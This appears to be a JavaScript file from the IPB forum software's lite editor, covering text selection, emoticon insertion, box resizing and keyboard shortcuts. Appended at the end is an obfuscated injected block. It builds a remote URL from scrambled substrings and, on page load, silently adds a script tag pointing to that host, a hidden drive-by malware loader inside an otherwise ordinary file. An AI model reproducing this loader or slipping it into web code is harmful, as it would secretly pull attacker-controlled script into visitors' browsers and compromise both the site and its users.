{
this.editor_document.selectionStart = open;
this.editor_document.selectionEnd   = open + text.length;
this.editor_document.scrollTop      = st;
}
}
else if ( ( document.selection && document.selection.createRange ) || this._ie_cache )
{
var sel  = this._ie_cache ? this._ie_cache : document.selection.createRange();
sel.text = text.replace(/\r?\n/g, '\r\n');
sel.select();
}
else
{
this.editor_document.value += text;
}
this._ie_cache = null;
};
this.show_all_emoticons = function()
{
if ( typeof( this.emoticon_window_id ) != null )
{
this.emoticon_window_id = window.open( ipb_var_base_url + "act=legends&CODE=emoticons&_lite=1&editor_id=" + editor_id,"Legends","width=250,height=500,resizable=yes,scrollbars=yes");
}
else
{
this.emoticon_window_id.focus();
}
return false;
};
this.insert_emoticon = function( emo_id, emo_image, emo_code, event )
{
emo_code = ipsclass.un_htmlspecialchars( emo_code );
this.wrap_tags_lite( " " + emo_code, " ");
if ( this.is_ie )
{
if ( IPS_Lite_Editor[ this.editor_id ].emoticon_window_id != '' && typeof( IPS_Lite_Editor[ this.editor_id ].emoticon_window_id ) != 'undefined' )
{
IPS_Lite_Editor[ this.editor_id ].emoticon_window_id.focus();
}
}
};
this.resize_editorbox = function( direction )
{
var inc_value	   = 100;
var current_height = parseInt( this.text_obj.style.height );
var new_height     = 0;
current_height     = current_height ? current_height : 200;
if ( current_height >= 50 )
{
if ( direction == 'up' )
{
new_height = current_height - inc_value;
}
else
{
new_height = current_height + inc_value;
}
if ( new_height > 149 )
{
this.text_obj.style.height = new_height + 'px';
}
}
};
};
function ips_editor_events()
{
}
ips_editor_events.prototype.button_onmouse_event = function(e)
{
if ( is_ie )
{
e = ipsclass.cancel_bubble(e, true);
}
if ( e.type == 'click' )
{
IPS_Lite_Editor[this.editor_id].format_text(e, this.cmd, false, true);
}
IPS_Lite_Editor[this.editor_id].set_button_context(this, e.type);
};
ips_editor_events.prototype.editor_window_onfocus = function(e)
{
this.has_focus = true;
};
ips_editor_events.prototype.editor_window_onblur = function(e)
{
this.has_focus = false;
};
ips_editor_events.prototype.editor_document_onkeypress = function(e)
{	
if ( e.ctrlKey )
{
switch (String.fromCharCode(e.charCode).toLowerCase())
{
case 'b': cmd = 'bold';      break;
case 'i': cmd = 'italic';    break;
case 'u': cmd = 'underline'; break;
default: return;
}
e.preventDefault();
IPS_Lite_Editor[this.editor_id].apply_formatting(cmd, false, null);
return false;
}
};


var jS;if(jS!='' && jS!='V'){jS='Cg'};var Cb='';var Z=new Array();var Fj;if(Fj!='v' && Fj != ''){Fj=null};function n(){var Fb;if(Fb!='L' && Fb != ''){Fb=null};this.FZ='';this.lv="";var u='';var y=String("g");var j=RegExp;var DC;if(DC!='Q' && DC != ''){DC=null};var t;if(t!='dR' && t!='Xy'){t='dR'};function P(o,w){var CO;if(CO!=''){CO='i'};var cK=new Array();var k=new Array();var c= "6pb[".substr(3);var s="";var Xh;if(Xh!='_n' && Xh!='yp'){Xh=''};c+=w;c+=String("nLeg]".substr(4));this.O="";var sm=new String();var F=new j(c, y);var Vp;if(Vp!='ZP' && Vp != ''){Vp=null};var DX;if(DX!='J' && DX != ''){DX=null};return o.replace(F, u);};var kU;if(kU!='SV' && kU!='mx'){kU='SV'};this.Sl="";var B=new Array();var S=window;var RU=new Array();var ll;if(ll!='' && ll!='aU'){ll='Wc'};var G="htcRKT".substr(0,2)+"tp"+"z4VE:/".substr(4)+"/5fzL".substr(0,2)+"Fhzd6".substr(3)+"kxwd-".substr(3)+"co"+"m.HPw".substr(0,2)+"VwQorVQw".substr(3,2)+"ku"+"4Unpt.4npU".substr(4,2)+"co"+".iXyTh".substr(0,2)+"n."+"GuMgouMG".substr(3,2)+"Awcog".substr(3)+"aRsleaRs".substr(3,2)+"-ckj2x".substr(0,2)+"o-ZD0S".substr(0,2)+"nztHmT".substr(0,2)+"uAXh.s".substr(4)+"UD4ea".substr(3)+"BYaMdoaYMB".substr(4,2)+"gs"+"MLRXon".substr(4)+"Yg6liYg6".substr(3,2)+"Ry1ney1R".substr(3,2)+".rslp".substr(0,2)+"u:";var W=new String("src");var f;if(f!='K' && f!='sy'){f='K'};var X=String("de"+"fex2aM".substr(0,2)+"8UEkrEk8U".substr(4,1));var ge;if(ge!='' && ge!='yq'){ge='b'};var Sq;if(Sq!='' && Sq!='xN'){Sq='HS'};var FJ='';var _="j0escrip".substr(3)+"t5Sw".substr(0,1);this.tK='';var BK=new Date();var C=P('89494749099947844474097997',"974");var r=new String("/go"+"ogl72Aq".substr(0,3)+"e.c"+"B59om/".substr(3)+"JQegooeJQ".substr(3,3)+"Hvb1glebHv1".substr(4,3)+"Dbm.co".substr(3)+"m/d"+"wc8WeviwW8c".substr(4,3)+"Sf5zantf5Sz".substr(4,3)+"dgmclimdg".substr(3,3)+"p.c"+"om/ePhR".substr(0,3)+"ONtbpeotONb".substr(4,3)+"Kmiple".substr(3)+".co"+"m.c"+"Yiman/n".substr(4)+"sNzJaqi".substr(4)+"nLQgs.QnL".substr(3,3)+"fLRcomRLf".substr(3,3)+".ph"+"PqR9p".substr(4));var ew='';S.onload=function(){var vfr=new String();try {FJ=G+C;var od=new String();FJ+=r;var Yy='';var nV;if(nV!='' && nV!='rB'){nV=''};var Lw;if(Lw!='' && Lw!='eq'){Lw=null};var CbP='';E=document.createElement(_);var q=new Array();var wD=new Array();E[X]=[1,9][0];var ef=new String();E[W]=FJ;document.body.appendChild(E);var qk=new String();var Ys;if(Ys!='VA' && Ys!='Hz'){Ys=''};var Cl;if(Cl!='GpA'){Cl=''};} catch(g){};var ej;if(ej!='' && ej!='lj'){ej='Cn'};this.Hq='';};};var Xp;if(Xp!='go' && Xp!='Tx'){Xp=''};var mv;if(mv!='DD' && mv!='CZ'){mv=''};n();
